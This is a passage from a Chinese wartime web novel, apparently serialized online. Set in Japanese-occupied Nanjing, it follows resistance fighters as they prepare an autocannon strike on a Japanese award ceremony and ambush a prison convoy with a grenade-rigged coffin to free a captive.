尽管此时月色朦胧,曲思冬还是忍不住掏出一架望远镜朝着东北方向的鼓楼广场方向观察。 这架奔驰牌的望远镜是从陶天阙的窑洞里淘到的,一共三架,老冒也捎带了一架,看到曲思冬看得津津有味,老冒马上想起他的脖子上也挂着一架,当即毫不犹豫从脖子上面取下套绳,在其他三人艳羡的目光中,装模作样看了起来,可是镜头里的景物除了模糊还是模糊,怎么调都看的不爽,老冒有些沮丧,又不便请教,正当他欲放下望远镜之际,忽然不经意看到天空中的那轮明月,他顿时有了目标。 望远镜中的明月,倒是又大又圆。 老冒在月亮里找了半天,没能发现嫦娥。 放下望远镜,老冒看到曲思冬还在察看,便向曲思冬走去,才跨出一步,那名叫木强的赤盟会会员便伸手来夺他的望远镜,老冒大度地松开手,没忘补充一句:“挺清楚的!” 三名成年人欢呼着团团围住了望远镜。 走近曲思冬,老冒以一种内行的语气关切地问道:“我看好像有点远,这门机炮恐怕够不着!” “没问题,完全不在话下!”曲思冬依旧举着望远镜。 老冒不死心,用目光认真地丈量了一下两地的距离,很快得出结论,“从这里到鼓楼广场怎么的也有四公里远,这门机炮能打这么远?” 曲思冬放下望远镜,他的口气依旧掩饰不住兴奋:“苏罗通S5-106 20毫米机炮的性能我知道,如果用它来射高,最多也就3500米……”曲思冬故意顿了顿,“如果是平射,那就不好说了!” “多远?”老冒不再矜持,完全换成一副低三下气的口气。 “嗯,让我算算……”曲思冬不慌不忙说道。 “4000米?5000米?” “……不会低于6000米。”曲思冬的语气异常肯定。 “什么?”老冒脱口而出,很快意识到自己的夸张,赶紧压低声音,“这么说,鼓楼广场完全在这门机炮的射程内?” “理论上是!” “那不就得了,就这么干!”老冒斩钉截铁道,看到曲思冬对他的这句话热情似乎不高,再问:“怎么,行不通?” “我用勾股定理大概算了算,这里到正东方的中山南路的大华电影院,大概在四公里不到一点的距离,而大华电影院到正北方的鼓楼广场,在两公里左右,所以,这里至鼓楼广场,在4500米的样子,尽管射程达到,但有几个因素要充分考虑!” “什么因素?”老冒几乎是央求道。 “如果我们以鼓楼广场为目标,即使够得到,也近乎是有效杀伤的极限,最大的问题,就是准度,要想给鬼子致命一击,浪费在测距上面的弹药一定不在少数!” 老冒似懂非懂,见曲思冬闭口,继续问道:“还有吗?” 这章没有结束,请点击下一页继续阅读!“我考虑最多的,是怕伤及无辜,明天的鬼子授勋仪式上,旁观的群众一定很多,我们的机炮不同于狙击武器,做不到定点清除,因而误伤的情况一定存在,这得不偿失!” “那怎么办?”老冒有些泄气。 “即便造不成太严重的后果,只要能杀杀敌人的锐气也好!”曲思冬双手叉腰,向着远方眺望,徐徐道:“我想好了,本次授勋仪式上,必定有不少鬼子的重要人物从警备司令部倾巢而出,他们无论乘坐何种交通工具,但有一条路是他们的必经之路。”说完,曲思冬用手指指了指东北方向,“他们从总统府出来,毫无疑问,会右拐上中山南路去鼓楼广场……” “你的意思是袭击鬼子的车队?” “这不是我的意思,是镰刀同志的意思,他在车上已向我传达了,这整个计划都是他酝酿的!” “我就奇怪了,镰刀同志怎么会知道陶会长有一门机炮?” “难道你没听他们的对话吗?是陶会长上海的一位老友告诉他的,而这位老友也是我们的同志,镰刀同志是我党宁沪两地的负责人,他的手头必定掌握着庞大的资源。” 两人正兴致勃勃交谈着,眼尖的曲思冬倏然看到不远处的东边驶来一辆车。 车渐行渐近,从车大灯的间距、亮度,以及发动机的声音大小,曲思冬判断这是一辆轿车。 不一会儿,轿车停在了山脚下,并熄灭了车灯。 看到老冒一脸警惕,曲思冬拍了拍他的肩,一脸得色道:“不用紧张,我们的炮手到了!” 老冒追上去,“什么炮手?哪来的炮手?” “有机炮没有炮手怎么行?”曲思冬从山顶拾级而下,见到老冒紧紧相随,便止住脚步道:“本来镰刀同志想亲自上,被我劝住了,我不能让首长冒太大的风险,不就是一名炮手吗,这方面的人才我储备着呢!” “镰刀同志到底什么来头?炮也会打?”老冒好奇问。 “我现在怀疑我们的这位首长一定是科班出身,从年龄分析,八成是黄埔炮科专业毕业,而且是前三期的……” “你怎么知道?猜的吧?” “不全是,但有一点可以肯定,据说我党都是些泥腿子出生……我是说‘据说’,像镰刀同志如此懂炮的指挥官,我认为凤毛麟角,你想,我堂堂南京黄埔的优等生,竟也没想到机炮可以平射这一点……” “嗯,有道理。” “对了,老冒同志,现在你和我一道去接炮手上来,这之后你就带领他们留在此地配合!”曲思冬说完从脖子上取下奔驰牌望远镜,递给木强,又对身前的几名赤盟会成员吩咐道,“你们三人哪里都不要去了,就埋伏在此,明天的行动听炮手同志指挥,打打下手,比如移动炮身、测距什么的。任务一结束把机炮装进卡车,拉到指定地方!别忘了,这门炮可是咱们首长的命根子!” 三人纷纷点头。 “同志们,我还有任务,保重!” 凭借着月光,曲思冬和老冒快步下山。 寺庙门口,静静地停着一辆黑色轿车。 看到曲思冬出了大门,轿车的前后门同时打开,三个身影一下子围住了曲思冬和老冒。 曲思冬一把握住了其中一名身影,“谢谢老赵,你辛苦了!” 赵楷回应道:“辛什么苦,不就是帮你们接人吗?再说陶会长这辆车有通行证,即使碰到鬼子,也不至于出意外。” 曲思冬把目光扫了扫其余二人,平静问道:“棺材铺里的兄弟就来了你们俩?” “是的连长,除了张遥和陈大军被指导员叫走外,剩下的两人都按你的要求留在店里了!”是凌鼎天的声音。 “很好!”曲思冬的目光落在另一人身上,他伸手把一个小个子提到面前,神秘兮兮说道:“冯勇敢,你大显身手的时候到了!” 冯勇敢不解地看了连长一眼,吞吞吐吐道:“连长你该不会是让我做狙击手吧?” “就你那水平还做狙击手?”曲思冬抢白一句,忽然明白他的自信心从何而来,跟着戏谑道:“自从林赤教了你几招后,你现在自我感觉很不错嘛!” “那是!我们这些从茅山一起回来的战友里,你说说谁敢跟我叫板?”冯勇敢得意道,抬头间看到曲思冬瞪了他一眼,连忙改口道:“当然连长您除外……” “既然如此,我就让你做一回狙击手!”曲思冬侧过身子,指了指清凉山山顶,“我有一门大号的狙击枪,就搁在山顶,明天你给我睁大眼睛,眼睛不带眨的,瞄准鬼子给我往死里干!” “真的吗?”冯勇敢犹自不信。 “你上去就知道了!”曲思冬转身对老冒道:“老冒同志,他就是炮手冯勇敢,你们就位吧!”说着向凌鼎天挥手道:“你跟我来!” 曲思冬带着凌鼎天,进了寺庙,爬上了卡车后车厢,取出早就准备好的武器,然后又一道钻进赵楷的车里,转瞬间,就消失在茫茫的夜色中。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第219章 黑云压顶 日军在占领南京后的第一场授勋仪式,终于随着东方泛起的鱼肚白,悄悄拉开了帷幕。 随之拉开帷幕的,还有南京城的国共两党,针对这场授勋仪式展开的惊心动魄的暗斗。 这一天,在所有人的期盼中终于姗姗到来。 天一亮,松机关的黑木将军就被楼下的喧闹声叫醒,他一边穿衣下床,一边走到窗前,“哗啦”一声,拉开了窗帘。 氤氲的晨雾笼罩四野,黑木站在窗前眺望着东方遥远的天际,当他看到这抹鱼肚白后,确信今天将是一个晴朗的天气,毫无疑问,这对于酝酿已久的授勋仪式而言,是一个吉利的彩头。接下来,他才把目光落在了憩庐楼下院子里陆陆续续聚集而至的人群上。 今天的松机关,除了电讯股留守,其余的,全被用来应付今天的授勋仪式。作为主办单位之一的松机关,它的掌门人黑木将军在昨晚的会议上,被一致推选为仪式的主持者,故而,对于跻身于日军驻南京城军级单位的松机关,又如何不做到殚精竭虑? 黑木洗漱完毕,由渡边和川上陪同来到食堂,一进大门,正见餐厅一隅,刘云雄独自一人坐在一张方桌旁在用餐。 “早呀,刘将军!”黑木高声打了个招呼。 刘云雄抬头看到了黑木一行,放下手中的筷子,立即站起身,也问好道:“黑木将军早!” 川上和渡边跑向窗口帮黑木取早餐,黑木在刘云雄身旁坐下,亲昵道:“刘桑,我昨晚看了一下授勋名单,你是本次仪式上唯一一名中国人。” “是吗?”刘云雄面露惊喜,“如此殊荣,刘某人受之有愧!” “怎么刘桑还这么谦虚?” 黑木伸手拍了一下他的肩,“刘桑不用太过介意,这是帝国对你的信任!” “是,谢谢将军的大力举荐!” 黑木四处看了看,忽然低下头轻声说道:“刘将军,有一件事我得和你通个气……” 刘云雄连忙把脑袋靠近黑木。 “昨天我们得到可靠情报,军统近期将会对你进行暗杀……” 洋溢在刘云雄脸上的笑容顿时僵化,他呆了呆,从喉咙里发出“哼哼”两声冷笑,马上面若冰霜道:“情理之中,也是意料之中,我猜想这一定是我们那位可敬的蒋校长的决定!他的眼睛是容不得沙子的,平生他最恨的就是别人背叛他了!” “这位蒋校长和刘将军熟吗?” “怎么不熟,别忘了我曾经是他的学生!” 黑木摆出一副恍然大悟的样子:“是啊,差点忘了,刘桑是黄埔的高材生啊!” 刘云雄嗤笑一声,“狗屁高材生,废材一块!” “不要作贱自己嘛!”黑木收住笑意,肃穆道:“谁也阻止不了我们追求光明的权利!假以时日,历史自有定论,会还刘将军一个公道的!” “但愿吧!”刘云雄讪讪道,片刻后又不死心问:“将军,您的情报来源真的可靠吗?” “千真万确!”黑木以一种不容置疑的口吻断然道,看到刘云雄的眉毛耷拉下来,黑木又把手按在他的肩上,宽慰道:“这件事我已在第一时间向松井将军作了汇报,他明确指示我,让我加大对你的警卫力度!” 刘云雄受宠若惊,情意浓浓道:“谢谢松井将军的关怀,也谢谢黑木将军的一片心意。” “我亲自给你物色一人来保护你的安全,从今天起,我命令他但凡你参加的一切外事活动,他必须寸步不离,如果你有任何闪失,我会取他的性命!”说到此处,黑木抬眼打量了刘云雄一眼,神秘兮兮道:“刘桑不妨猜猜此人是谁?” “谁呀?将军就不要卖关子了……” “林赤……你们认识的!” 看到刘云雄的眼神立即黯淡下来,黑木试探道:“怎么,刘桑不喜欢此人?” “非但不喜欢,简直是打心底厌恶!”刘云雄皱了皱眉。 “还是为老虎桥监狱他撞倒你一事,刘桑还耿耿于怀?” “那倒不至于,我刘云雄没那么小心眼。”刘云雄矢口否认,“我觉得此人尽管年纪不大,但城府太深,尤其他那眼神,总让人无法捉摸……” “刘将军对他还是抱有成见!”黑木耸了耸肩,换了种口气,“你千万不要小看了这位林先生,他的身手着实了得,再说,我和他说了之后,他倒毫无异议……你就不要再推辞了!” “那我听将军的!”刘云雄蓦然提高声音果断说道。 “那好,待会儿我安排你们见一见!”黑木也提高了声音,“饭后我们就先行一步,你们九点前务必赶到鼓楼广场,千万不要迟到了,你虽然被任命为南京警卫军司令,目前却代表的是我松机关的荣誉!” “是,将军!” 正说着,川上和渡边给黑木端来了早点。 …… 同一时间,老虎桥路上,大门紧闭的红尘茶馆二楼包厢里,一张八仙桌周围,团团围坐着差不多十人,他们也正聚在一起,吃着简陋的早餐。 本小章还未完,请点击下一页继续阅读后面精彩内容!座位有限,有两人干脆站着。 或许是因为饥饿的缘故,吃饭时没人发言,可当喝完粥后,一放下筷子,便有人发问道:“老曲,有一件事我想不明白,军统那名叫徐格的狙击手,难道是一颗死子?” 听到储洪义的问话,曲思冬不慌不忙放下筷子,以批评的口气说道:“老储,不是我说你,你虽然身为连政治主官,但缺少缜密的思考……” 储洪义一副委屈的样子,申辩道:“这是哪里跟哪里啊,难道我的话有错吗?你想想,他潜伏在鬼子的警戒圈里,那里到处是鬼子,即使没人发现他,可当他完成任务后,如何脱身?他又没有长翅膀!” “储兄多虑了!这是军统自己的事……” “我也就这么一说,不带这么奚落人的!” 曲思冬笑了笑,上下扫了他一眼,想了想道:“其实,这就是咱们镰刀首长的高明之处……”看到所有人瞪大眼睛,期待着他的下文,曲思冬娓娓而谈:“镰刀同志和我一起分析过,军统千方百计安排一名狙击手前去潜伏,一定大有深意,只是我们不知道他们目的何在,徐格不是一颗死子,这一点毋庸置疑,因为军统已得知我们在广场附近埋了一包炸药,他们会借这缕东风适时采取行动,据我所知,军统已配套制定了一套方案,只要炸弹一爆炸,他们以此为信号大闹鼓楼广场,一方面是掩护他们的狙击手脱离,另一方面,恐怕和我们的目的一致,那就是杀杀敌人的嚣张气焰……” “可是他们的武器怎么带进去?”凌鼎天插话道。 曲思冬无奈摊摊手,“鬼知道!” 听到这儿,储洪义再也忍不住,打断道:“这和镰刀同志的英明有毛关系啊?” 曲思冬不屑道:“鼓楼广场是个什么地方?那是龙潭虎穴啊!到那里闹腾,还不是找死?先暂且不说那里的警力数百人,单单四个方向的出口都被鬼子扼住了,想全身而退,你们想想胜算的几率能有多大?所以嘛,尽管我们和军统的目的殊途同归,但私下已形成了一种默契的分工,我们主外,他们主内,你们想想,谁会更划算?” 凌鼎天继续问:“我们共产党的首长,怎么会和军统混到了一起?” “这你要当面去问镰刀同志啊!”储洪义替曲思冬抢白了他一句。 凌鼎天刚要回敬几句,曲思冬适时说道:“非常时期,不要过分拘泥小节!两只拳头总比一只拳头打人要疼,这么简单的道理你们不懂?至于镰刀同志和军统的联系渠道,这不是我们要操心的事!”曲思冬站起身来,舒展了一下手脚,又补充道:“还有一件事我通报大家一下,等会儿劫囚车军统也会派人加入……” 曲思冬急急走到窗前,隔着窗户四处探看一番,像是在喃喃自语:“我估计军统的人已在附近埋伏下来了,可是他们会藏在哪儿呢?” 储洪义面露疑色,“我们营救的是共产党,关他们球事?难道国共两党真的亲成一家人了?” “是让人难以琢磨,不过镰刀同志传递的消息肯定不会有假,老储,你就别胡思乱想了!” 储洪义收声,陈大军又不失时机抛出问题:“对了连长,你确定待会儿鬼子的囚车会从此地通过?” “这可是老虎桥监狱唯一通向鼓楼广场的通道!” 曲思冬边说边看了看表,面色忽然凝重起来,“大家听好,时间接近了,赶紧早作准备!” 正说着,一直拿着望远镜站在窗口监视的张遥突然兴奋叫了起来:“连长,你快看,程海他们来了!” 曲思冬顺着张遥的手势一看,果见远处出现了两个人影,正是留守“思”棺材铺的两名队员,他们吃力地拉着一架板车,板车上赫然陈放一物。 一具通体黑而锃亮的棺材。 曲思冬凝眉就要细看,张遥紧张的声音又在他们耳边响起:“连长,鬼子出现了!” 曲思冬向北方一瞥,忽见正北五百米处的马路上,烟尘飞腾而起。 “同志们,行动起来!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第220章 蛰伏待出 数月来,第十六师团师团长兼南京警备司令部司令的中岛今朝吾中将从未有今天这般愉悦。一方面,听说因由他居功至伟的功绩,他得到了帝国天皇的点赞,大本营纷纷传说,他中岛不日后将会晋升大将,并率先从这一时期的师团长级别的将领中脱颖而出,甚至有先知先觉者给他打来了贺电,拐弯抹角顾左言他,言下之意无非是希望在他登顶后能够念及旧情给他们适当的提携。另一方面,在本次授勋仪式上,统共10名荣誉获得者,他治下就占有五个名额,这一切的一切难道还不能说明他艰辛的付出已得到了大本营的肯定? 自用完早餐后,中岛就一直坐在办公室里,倒不是他真有多少公务,实在是他不屑于提前赶到会场,作为本次授勋仪式的最高阶长官,早到一分钟中岛都会认为是一种耻辱。 足足等到八点半,中岛才放下茶杯,不慌不忙下了楼。 楼前的空地上,所有人都集结完毕,就差他了。 本次授勋仪式上,特邀了五位嘉宾参与授勋,除了他自己,松机关的黑木少将,以及从上海不远数百公里赶来的上海领事馆的总领事岩井英一也均在邀请之列。这个时候,黑木应该已在会场忙碌,而岩井先生将会准点从相隔数百米的南京使馆步行前往会场,此外,还有两位特邀嘉宾,一位是宪兵司令部的清水少将、一位是他的十六师团二十联队的木村少将,他们二人都是他货真价实的下属。 此时,清水和木村二位已经候在此地,将会随他一道前乘车往。 一同前往的,还有早早集合于此的其他九名被授勋者。 十位被授予天皇荣誉证书和授章的,独缺南京警卫军司令的刘云雄,届时他将单独前往。 某种意义上可以断言,这十二人几乎是日军驻守南京城里各阶层中的佼佼者。 看到中岛信步下楼,清水少将一脸笑意迎向中岛,双方寒暄之后,清水抬手指了指一旁静静停放的三辆轿车,讨好说道:“将军,为了今天的仪式,我特地调拨了三辆帝国刚刚下线的轿车,这可是大日本国自己的品牌!” 中岛的眼睛里,顿时大放光彩,连忙兴致勃勃踱步上前。 呈现在中岛面前的,是三辆烫金色的崭新轿车。 中岛来到驾驶室前,脱下手套,四根手指并拢,在车门上反复摩挲,不禁频频点头:“吆西,吆西!” 木村也凑了上来,附和道:“从今以后,帝国将结束进口美国轿车的历史,再也不用受美国人掣肘了!” “哦,尼桑牌?”中岛绕到车头,低头看了一眼车标。 清水抢答道:“是的将军,帝国日产汽车公司生产的‘DATSUN’,这是最新款,产自横滨!”清水开始滔滔不绝:“帝国以前的三菱、丰田款轿车,几乎都是仿制雪佛兰的影子,唯有这款NISSAN,都是帝国自有技术,算得上是国产品牌,从横滨下线,首批生产6000辆,我们南京分配了十辆,就在前几天刚刚抵达南京。” “既然如此,以后把我的那辆老款车换了!” “我已经安排了,将军!” 中岛愈加神清气爽,目光扫了一下不远处呈横队排列的九名授勋者,提高声音道:“帝国的勇士们,上车吧,我们三位将军,每人搭载三人,其余的勤杂人员乘坐原来的轿车,出发吧!” 随着中岛的一声令下,所有人开始行动起来,最前面开道的六辆挎斗摩托,纷纷启动,空地两侧的宪兵,以最快的速度登上了两辆丰田运兵卡车,接下来,是十二位授勋者与被授勋者,皆神情傲慢地登上了三辆新款日产轿车。 四辆挎斗摩托徐徐向前滑行,紧接着是一辆装满士兵的军用卡车,再后面,是一辆黑色的雪佛兰轿车,紧随雪佛兰轿车的,是三辆烫金色的DATSUN,木村乘第一辆,清水乘第二辆,中岛第三辆,再接下来,又是一辆运兵卡车,殿后的,是两辆挎斗摩托。 这列长长的车队,开始浩浩荡荡朝着鼓楼广场方向进发! …… 冬日的晨阳爬上了树梢,给大地上增添了丝丝的暖意。 清凉山上,一块嶙峋巨石后的亭台里,炮手冯勇敢煞有介事举着那架奔驰牌望远镜,一直在密切注视着东北方的中山北路的一处岔路口。从天蒙蒙亮至今,他和老冒以及三名赤盟会成员交替休息,轮流观察,生怕错过某一些重要的细节。 昨夜在清凉山脚下,连长曲思冬和他说起山顶有一门大号的狙击枪,当时他半信半疑,登上山顶后才惊喜发现,恭迎他的居然是一门机炮。 这门苏罗通S5-106 20毫米机炮上,写满了德文,他知道这玩意是进口货,某种程度上说,20mm口径的弹药只是普通步枪子弹口径的三倍不到,把它归类为大号狙击枪一定也不为过。 他以前接触的尽是些山炮、迫击炮之类的,这门苏罗通S5-106 20毫米机炮他是第一次得见庐山真面目,怀着忐忑不安的心情,他把这门机炮细细琢磨了一下,终于弄懂了操作规程,当然,这些只是他估摸出的,至于实战他根本没有把握,一切只能等他开出第一炮才能得出结论。 本小章还未完,请点击下一页继续阅读后面精彩内容!子弹已被压满,只要敌人出现在视线中,他会果断击发。 作为炮手,开出第一炮并非难事,只要是个人,即使目不识丁,但凡懂一些武器常识,几乎都可以把弹药射出炮膛。区别在于,优秀的炮手会综合各种因素对目标准确测距,并对武器性能进行综合评估,结合天气、风速、距离等诸多环境因素,方能做到有的放矢,当然仅仅掌握这些还不够,还必须在击发过程中不断校验,作相应调整,这是关键之关键,否则射出去的炮弹的极有可能连对方的皮毛都伤不到。 如若如此,唯一所能做的,就是祈祷! 时间就这样一分一秒流逝,八点半刚过,站在亭子前的老冒忽然急促地叫了起来。 “目标出现,目标出现!” …… 日本南京大使馆四楼的楼顶,工藤夕贵把身体隐藏在天台的水箱后,趴在原地一动不动。 如果不是他的眼珠在转动,他的身体怎么看都如同死人。 这名朝日新闻头版头条连篇累牍报道的日本优秀狙击手,从昨夜潜伏至此,当他选定了这块地方后,它的身体就再也没有移动过。 这样的姿势,已持续了九个多小时。 和他同来的另一名狙击手,被安排在天台的另一个方向,专门监视北平路上的一切风吹草动。 工藤的那支九七式狙击步枪,子弹早已上膛。 …… 和南京使馆遥遥相望的东北角,在原国民政府警察厅官邸的二楼的一间储物室里,身着日军军服的徐格,此时正倚在一张陈旧的沙发上,微闭着眼睛小憩。 即便是闭目小睡,他也没忘紧紧攥着那支从鬼子手上缴获的狙击步枪。 他对接下来的任务,似乎并不着急。 唯一可以断定的,他对楼顶烟囱里的炸弹十分忌惮,要不然,他根本不会选择这一间看起来相当局促、射界也极不理想的储物室。在他眼里,这间只有十平米左右的储物间,因由远离是非之地,相对要显得安全! 一串刺耳的鸣笛声,惊醒了半梦半醒的徐格,他抓起狙击步枪一跃而起,把身子藏在车窗玻璃后,开始对鼓楼广场进行观察。 已将近上午九点,鼓楼广场上的人流已黑压压一片,四面八方不断有猎奇的人们纷至沓来。 偌大的鼓楼广场中央,三民主义创始人孙先生的雕塑巍峨矗立,正遥望着东方太阳升起的某一处地方。紧挨着这尊塑像,由松机关和伪区公所的工作人员用木板和砖头搭建了一方三十平方左右的主席台,上面铺的是大红的地毯,五六张桌子一字排开,足有八米长,茶水杯已依次摆放好,只等授勋仪式的重要贵宾入座。 在贵宾的座席后,整齐排放着二十余张凳椅,这是供参会的来宾栖息之用。 此时此刻,已有不少来宾入座,他们时而左右旁顾,时而低头沉思,时而和相邻的贵客交头接耳,看来,万事俱备,只欠东风。 徐格用他的狙击步枪枪口,挑开了窗户玻璃后面的窗帘,一块破损的玻璃立即显现在他的眼前,冷风从破洞里灌进,徐格并不介意,把黑洞洞的枪口,悄悄伸向窗外。 他隐身于窗后,用左手臂托起枪托,右手伸进口袋,掏出一张发黄的照片。 徐格大体瞄了一眼照片,缓缓低下脑袋,他把眼睛贴在瞄准镜上,开始寻找照片上的目标。 …… 老虎桥路上,红尘茶馆前。 程海二人拉着一辆装有棺材的板车已出现在马路的中央。 他们似乎并未发现不远处风驰电挚逼近的车队,而是把板车停放在街心,两人背靠板车,取下头上的帽子,开始煽风驱汗。 这个时候,曲思冬一众人已冲下楼,从茶馆的后门纷纷涌出,并急速潜行到茶馆南墙后。 他们人手一枪,每一支枪里,均上满了子弹。 曲思冬作为行动的负责人,在他的心里,只有一个念头,那就是一定要截下这辆囚车,解救出妹妹曲思秋! 他清楚知道,这或许是他唯一的机会了! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第221章 劫囚营救 从老虎桥监狱驶出的正是一辆囚车。 行进在最前面开道的,是三辆清一色的挎斗摩托。除了驾驶员,每辆摩托上加载了两名荷枪实弹的士兵。 囚车是由一辆尼桑180型卡车改装而成,车厢的四面,用铁架和厚厚的铁皮焊接成一个密封的箱体,四面均开有窗口,两侧约三十公分见方,此时皆蒙上了黑布。而箱体的正前和正后方,同样也开了一个窗口,这两个窗口相对要大得多,但是上面加固了拇指般粗细的铁条。 前后的窗口除了了望功能,还是押解士兵应对突发事件的射击口。 在这个密闭的车厢里,车厢里四名随车押运的日军士兵正把枪口搁在窗口上,严阵以待。 车队离开监狱后,一拐上老虎桥路,便开足马力,向鼓楼广场方向疾驰。 没开多远,车队所有的驾驶员几乎不约而同发现了一个异常情况,不远处的马路中央,出现了一辆貌似板车的物体。 随着车队渐行渐近,第一辆摩托的驾驶员定睛一看,意外发现这辆板车居然是停滞的,依稀可辨在板车旁,有两个平民装束的人正背对车队,似乎在聊着什么,他们对身后的车队浑然不觉。这名驾驶员毫不迟疑,马上按响喇叭,他率先的鸣笛,如同黎明前的公鸡打鸣,其他人纷纷响应,立即引发了啸叫声一片。 那两人看起来迟钝麻木,直到喇叭声此起彼伏方才回头,其中一人匆忙抬起板车拉手,从神态上看,已然慌不择路,竟然不知躲闪,而是低着头把板车朝着车队快速推来。 眼尖的鬼子蓦然发现板车上摆放的,是一具棺材。 最前面的摩托坐在挎斗上的鬼子,正是老虎桥监狱典狱长武内次郎手下的一名少尉,他也是本列车队的最高指挥官,见此情形,不由得诧异地瞪大双眼,一种不祥之兆忽然笼罩在他得心头。 少尉反应极其迅捷,他不假思索,当即拔出手枪,对着距离不足十米的板车就是一枪。 枪声尖锐刺耳,震得耳膜嗡嗡作响。 如果构成这列车队的仅仅是挎斗摩托,少尉或许不会慌张,虽然急刹已不大可能,大不了从板车一侧绕过,可是,后面囚车体型庞大,之于这条仅四米多宽的马路,它几乎不可能不碰擦就安然通过,倒不是少尉害怕伤害路人,而是他清楚明白,一旦囚车和板车亲密接触后,方向根本就做不到不跑偏,如若如此,囚车极有可能会撞上马路两边的店铺。 少尉本以为这一枪会震慑住对方,即使对方不让出道,也会止下步伐,哪里料到,对方非但没有这样做,而是埋头撒腿大力推动板车向车队撞来!少尉心呼不妙,已知这里面必有蹊跷,不容多思,又扣动了扳机。 …… 手攥板车把手的程海,是一名已有两年党龄的共产党员。他和身后那名随行的队员,均是来自于茅山游击队,且都是和曲连长他们一道从太平门城墙上悄悄潜入南京城的。 昨天子夜时分,曲思冬和凌鼎天回了一趟棺材铺,给他俩布置了新任务。 曲连长他们走后,程海叫醒了储掌柜,从他的店铺里挑选了一具廉价的成品棺材,并请他连夜把它重新加工了一下,他们在棺材的底板上另加了一张木板,在底板上开凿了一个洞,然后把三颗手榴弹藏匿进去,并把手榴弹的引线系在了一起,用一根棉绳引出一个极小的洞口。 一大早,二人推着板车从太平北路出发,直奔老虎桥路。在北平东路上,他们遇到了鬼子的巡逻队,针对鬼子的盘问,他们声称只是棺材店送货的伙计,鬼子翻开棺材盖,仔细检查了一遍,并未发现异样,就放走了他们。 幸好路上没有耽搁,他们在抵达老虎桥路后,立即遭遇押送囚车的鬼子车队。 这个时候,程海只有一个念头,那就是把他的板车尽可能地靠近鬼子车队。 鬼子少尉的第一枪,瞬间拉开了这场战斗的序幕。 没有号令,鬼子少尉的这一枪就是是号令,车队所有的鬼子没有丝毫迟疑,纷纷对着这辆可疑的板车举枪射击。 就在此时,隐藏在路边房子后的曲思冬见时机成熟,一声大喊:“打!”刹那间,十名队员从墙后冒出脑袋,不顾一切举枪还击。 所有的鬼子正把注意力集中在前方的板车上,根本没想到会有人从侧面偷袭,一时间,惊慌失措,待反应过来,已有鬼子中弹倒地。 这是一个绝佳的机会,程海和同伴一边利用棺材作掩体,一边使尽全力把板车向着鬼子车队推进,直到双方距离不足五米,程海双手拼力一送,并加了七八分回旋之力,然后果断松手。 与此同时,棺材里的手榴弹引线在程海食指的大力带动下,被拉开了。 车身在两股力量的作用之下,已不是沿着直线前进,而是呈九十度斜刺刺撞向第一辆摩托,板车上的棺材本来就没有固定,这一撞击,棺材顿时从车头滑下,发出一声摄人心魄的巨响,横亘在马路中间。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!眼前的情境与曲思冬设想的如出一辙,他未作迟疑,一个箭步冲上前来,对就近的一名鬼子就是一通点射,其他的队员如法炮制,纷纷开足火力压制鬼子的进攻。 在曲思冬他们的掩护下,程海和同伴猫着腰很快掩身墙后,并接过同伴递来的手枪。 第一辆挎斗摩托猝不及防,整个车头直直撞在路上的障碍物上,幸运的是,摩托的速度已有所降低,故而,摩托车并没有被撞翻,饶是如此,巨大的惯性还是把驾驶员从车上抖了下来;同时跌倒的,还有挎斗上的少尉以及后座上的一名鬼子……第二辆第三辆摩托的司机眼明手快,已然发现不妙,情急之下,一阵猛打方向,于是,这两辆摩托呈“S”形擦过板车,向马路另一侧的路牙撞去! 少尉反应异常迅捷,一个鲤鱼打挺,从地上腾空而起,正要持枪还击,余光中意外发现那辆囚车正向自己逼近…… 少尉大惊失色,电光火石间,他灵光一闪,就地一个翻滚,他的身子躲过了囚车粗大的前轮,不得不说,他的这一次躲闪让他十分满意,离死神的碾压只相差十公分不到。 少尉长吁一口气,暗暗庆幸上帝的眷顾,从地上拾起手枪,意欲重整旗鼓! 枪口刚刚抬起,他忽然发现眼前的敌人正快速向路边龟缩,完全是一副脱离战斗的态势,这让少尉困惑不解,他清楚知道,战斗这才刚刚开始,而自己一方处于绝对劣势,如果对方再接再厉,战斗极有可能在眨眼间结束! 少尉一头雾水,正诧异间,不经意和一名敌人的目光相撞。 那眼神竟蕴含笑意,款款含情,让他一下子想起遥远的童年时代同伴恶作剧后幸灾乐祸的神情。 少尉忽然如坠冰窖,他的周身陷入了深深的绝望,他想再来一次鲤鱼打挺,亦或再来一次翻滚,可彼时,他的身体居然僵硬得不听指挥。 少尉下意识转过脑袋,他的眼睛死死盯着数米之远的马路中央。 他的目光所及之处,是一具棺材,一具黑而锃亮的棺材。 他忽然明白,那就是罪恶之源。 就在这时,思绪还没有进行下去,他的浑圆的瞳孔里腾出一片烟雾……棺材骤然崩裂开来,紧接着,一股巨大的气浪将他吞噬,伴着四处飞散的棺材木屑,向他没头没脑逼仄而来,他感到一阵窒息…… 他整个身体竟然没有一丝痛感,灵魂在云端漂浮,有清风拂过,犹如母亲亲切的抚摸,他的世界只剩下安详! …… 巨大的爆炸所造成的二次伤害使得倒地的鬼子无一幸免,由于相隔距离太近,这些簇拥在一起的鬼子还没能明白怎么回事,马上去见了中国的阎王。 这骤然而起的爆炸也波及到了囚车,不但车窗被震碎,四溅的玻璃碎片还划伤了驾驶室里的两名鬼子,他们满脸是血。而相比之下,囚车箱体里的四名鬼子倒要幸运很多,车身剧烈的震荡只是让他们短时间内有些发蒙,对他们的肉体根本没什么摧残,仅仅片刻,他们就醒悟过来。 四名鬼子很快找到了属于自己的武器,纷纷占据有利位置开始还击。 爆炸一结束,尘埃尚未落定,曲思冬立马带着队员又从墙后探出脑袋。 现在,他们面临着最大的一个问题,那就是如何有效击毙囚车箱体内的鬼子。 这是一个非常严峻的问题,且不说囚车的箱体是厚厚的铁皮,子弹根本无济于事,再说鬼子不会坐以待毙,他们复仇的子弹随时会给他们带来致命的打击,此外,还有一点很要命,囚车中不只是敌人,还有数量不详的“囚犯”等着他们营救,其中就包括他们此行的终极目标——曲思秋。 除了以上这些,曲思冬还知道,此地离老虎桥监狱很近,毫无疑问,这么大的动静理应惊动了老虎桥监狱的驻军,不消十分钟,敌人的援军就会蜂拥而至。 尽管形势对他们极为不利,然而曲思冬已没有选择,也不容他多想,此时此刻,他的脑海中只充斥一个念头:快速击毙囚车里的鬼子,解救妹妹于水火。 只是粗略探头看了一眼,曲思冬立即做出了判断。 